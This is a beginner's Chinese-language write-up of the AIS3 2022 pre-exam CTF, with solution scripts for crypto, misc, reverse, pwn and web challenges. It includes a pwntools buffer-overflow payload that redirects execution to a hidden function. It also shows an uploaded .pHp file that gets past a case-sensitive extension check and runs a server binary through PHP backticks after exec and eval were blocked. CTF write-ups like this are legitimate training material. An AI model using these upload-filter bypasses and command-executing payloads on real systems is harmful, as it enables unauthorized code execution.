0%

AIS3 2022 pre-exam write up

這是我接觸 ctf 後第一次正式的比賽 > <。AIS3 pre-exam 是跟 My First CTF 一起舉辦的,很可惜的是今年因為疫情所以改為線上舉行 QQ。

這次線上要掛 vpn,用的是 wireguard。然後我在賽中才發現忘記在 VM 裝,花了一小時還是裝不起來,最後只好跑去裝 Windows 版的 netcat。

因為窩弱所以這個 write up 題目應該會很少吧 QQ

Welcome

開賽前助教就已經在 discord 傳了 flag。而且題目敘述還是 discord ++。笑爛wwww

Crypto

SC

題目給的資料夾裡面有加密用的 python 檔、加密過的 flag 、加密過的加密 python 檔(?

而 code 下面則是一串關於替換式密碼的維基百科
所以直接比較兩邊的字母,建立替換表,最後把加密過的 flag 逆回去就好了。

1
2
3
4
5
6
7
8
9
10
plain = 那一大串明文
cipher = 那一大串密文
flag_enc = "5xvJ{IVnCDwT_I24t6W626DVw_ODPzJi_FDMz_awVFw_PWmDw6J86_m66cOa}"
flag = ""
T = {}
for i in range(len(plain)):
T[cipher[i]] = plain[i]

for c in flag_enc:
flag += T[c]

Flag:

1
AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

Fast Cipher

在給的加密程式中有一段 encrypt() 函數

1
2
3
4
5
6
def encrypt(pt, key):
ct = []
for c in pt:
ct.append(c ^ (key & 0xFF))
key = f(key)
return bytes(ct)

可以看到會一個個將明文對 key 進行 xor
透過 flag 第一個字一定是 A 可以得到 key 是 0x2D
接下來反著做回去就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cipher = "6c0ec840f88d4cd7fcc6d5c6d1dafcc1cad7d0fcc2d1c6fcd6d0c6c7fccfcccfde"
key = 45

plain = ""
for i in range(0, len(cipher), 2):
b = cipher[i] + cipher[i+1]
b = int(b, 16)
mask = key & 0xFF
c = b ^ mask
c = chr(c)
key = f(key)
plain += c

print(plain)

Flag:

1
AIS3{not_every_bits_are_used_lol}

Misc

Excel

下載檔案後查看巨集,單步執行然後查看評估值,就得到答案了
Flag:

1
AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}

哭挖然後這題那時候卡在 flag 最後是 l 而不是 1 和 |

Gift in the dream

用 strings 可以看到這個 gif 裡面有一堆的 why is the animation lagging? why is the duration so weird? is this just a dream?

通靈了一下然後跑去用工具查看了這張圖裡面各個幀之間的間隔,發現都在 ascii 可視字元的範圍內
所以寫了以下來解碼

1
2
3
4
5
6
delay = [65, 73, 83, 51, 123, 53, 84, 51, 103, 52\
, 110, 48, 103, 82, 52, 112, 72, 121, 95, 99, 52, 78, 95, 98, 51, 95, 102, 85, \
110, 95, 115, 48, 109, 51, 55, 105, 77, 101, 125]

for i in delay:
print(chr(i), end="")

Flag:

1
AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}

Pwn

SAAS - Crash

本來看 source code 沒看出什麼東西,試著構造可以 overflow 的字串也被擋了下來,不過後來在這系統裡面玩了一下,不知道是因為我的奇怪操作還是因為其他原因,他就自己噴 flag 出來了 www。

Flag:

1
AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}

Bof2Win

看 source code 發現可以 bof ,並且有一個函數 get_the_flag() 沒有被調用到,看起來是要覆蓋 return address 到這個函數就可以到 flag。

首先丟進 gdb 看看 get_the_flag 的位置在哪裡

先丟一串東西進去看看 offset

1
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS

0x47 是 G,0x48 是 H
所以可以知道 rip 存在 G 跟 H 的位置
把剛剛拿到的 get_the_flag() 位置替換進去 (注意 little endian)
可以得到要注入的字串:

1
"AAAABBBBCCCCDDDDEEEEFFFF\x16\x12\x40\x00\x00\x00\x00\x00"

用 pwntools 送過去就可以得到 flag 了:D

1
2
3
4
5
6
7
8
from pwn import *
host = "chals1.ais3.org"
port = 12347

r = remote(host, port)
r.recvline()
r.sendline("AAAABBBBCCCCDDDDEEEEFFFF\x16\x12\x40\x00\x00\x00\x00\x00")
r.interactive()

Flag:

1
AIS3{Re@1_B0F_m4st3r!!}

Reverse

Time Management

丟進 Ghidra 後看到以下的東西

14 行有一個 sleep 會讓程式執行很久

一開始我本來想要用一個在 picoCTF 的 writeup 看到的方法

就是自己寫一個假的 sleep() 然後把他編譯成 object 檔並且用 LD_PRELOAD 讓這個假的 sleep() 跟著程式一起執行。但是有 fflush() 所以讓 flag 的文字沒有出來 QQ

所以只好用 gdb 來一步一步做,遇到 sleep 就跳過去。

設下兩個 break point,135 是 sleep,157 是 printf。兩個的位置是從前面的 disassemble main 指令得到的

然後只要每次到 sleep 那邊就下 set $pc = *main+140來跳到下個指令
接下來 c 來繼續

因為這邊 printf() 有兩個參數:%clocal_14,local_14 是我們想要的,而且根據 calling convention 可以知道這個會放在 rsi 裡面

printf() 會拿最後一個位元組來輸出,而 0x41 正好就是 A,0x49 是 I。
只要一直重複 cset $pc = *main+140 就可以拿到 各個字元了 > <

1
2
3
4
5
6
7
8
9
cipher = ["41", "49", "53", "33", "7b", "59", "6f", "75", "5f", "61", "72", "65"\
, "5f", "74", "68", "65", "5f", "6d", "61", "73", "74", "65", "72", "5f"\
, "6f", "66", "5f", "74", "69", "6d", "65", "5f", "6d", "61", "6e", "61"\
, "67", "65", "6d", "65", "6e", "74", "21", "21", "21", "21", "21", "7d"]

for i in cipher:
a = int(i, 16)
c = chr(a)
print(c, end="")

Flag:

1
AIS3{You_are_the_master_of_time_management!!!!!}

Web

Poking Bear

觀察網頁可以看到每隻熊是透過 / 後面的數字來定位的,不過前往 secret bear 的頁面的按鈕沒辦法點..
所以用爬蟲一個一個戳,看看還有哪些是開的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import bs4
import urllib.request as req

for i in range(1000):
url = f"http://chals1.ais3.org:8987/bear/{str(i)}"
request = req.Request(url, headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36"
})
with req.urlopen(request) as response:
data = response.read().decode("utf-8")

root = bs4.BeautifulSoup(data, "html.parser")
titles = root.find_all("h1")
if len(titles) == 0:
print(url)

可以發現 499 有熊在那邊,去那邊也發現的確是 secret bear。
不過跟他要 flag 他說要是 bear poker 才可以拿…
打開 f12 後發現 cookie 裡面有一個叫做 human 的 cookie
把他的 value 改成 bear poker 後就拿到 flag 了:D

Flag:

1
AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}

Simple File Uploader

網站是簡單檔案上傳者
那大家上傳的 code 算不算簡單檔案上傳終結者:thinking_face:

看看 source code 發現他沒有檢查副檔名的大小寫,所以上傳 .pHp 發現 server 給過而且還會執行。

1
2
3
4
//First approach
<?php
echo "hello";
?>

因為 server 會擋含有 dirscan() 的東西上傳,不過沒擋到 glob() :D
所以用 glob() 掃根目錄有什麼

1
2
3
4
5
6
7
8
// Second approach
<?php
echo "hello";
$directories = glob("/*");
foreach($directories as $val) {
echo "$val<BR>\n";
}
?>

發現有一個非~常可疑的檔案 /rUn_M3_t0_9et_fL4g
不過有擋 exec()eval()
查了一下發現 backtick 也可以執行指令:DDD

1
2
3
4
<?php 
echo "hello";
echo `/rUn_M3_t0_9et_fL4g`;
?>

然後就得到 flag 啦 ٩(ˊᗜˋ*)و
Flag:

1
AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

心得(?

1
Final Rank: 96

這是我第一次參加這種活動,但沒上真的很可惜QQ
希望甄選有機會上囉:D

中間卡了好幾題,像是 reverse 的和 misc 的 knockknock 更是卡了我整整一天,看著越來越多人解出來,而那題的分數越來越下降真的很讓人挫折…

沒有解出來真的很遺憾,這還讓我想到 picoCTF 上面有一題超爛的 rockstar,解 rockstar 的時候真的是折騰了好久,不過最後沒有解出是遺憾之一。

然後我真的一直把 knock 當 web 題,nmap 掃 port 後看到 139 和 445 有開,而且 nmap 也說那邊有 smb 服務,就一直往 smb 去解…結果是用 wireshark 錄封包…

但是那種拿到 flag 的開心感最令我難以忘記,尤其是 bof2win,因為這是我第一次實作覆蓋 return address (之前只有聽 liveoverflow 講過),真的很令人開心 ٩(ˊᗜˋ*)و

本文章同步發布於 HackMD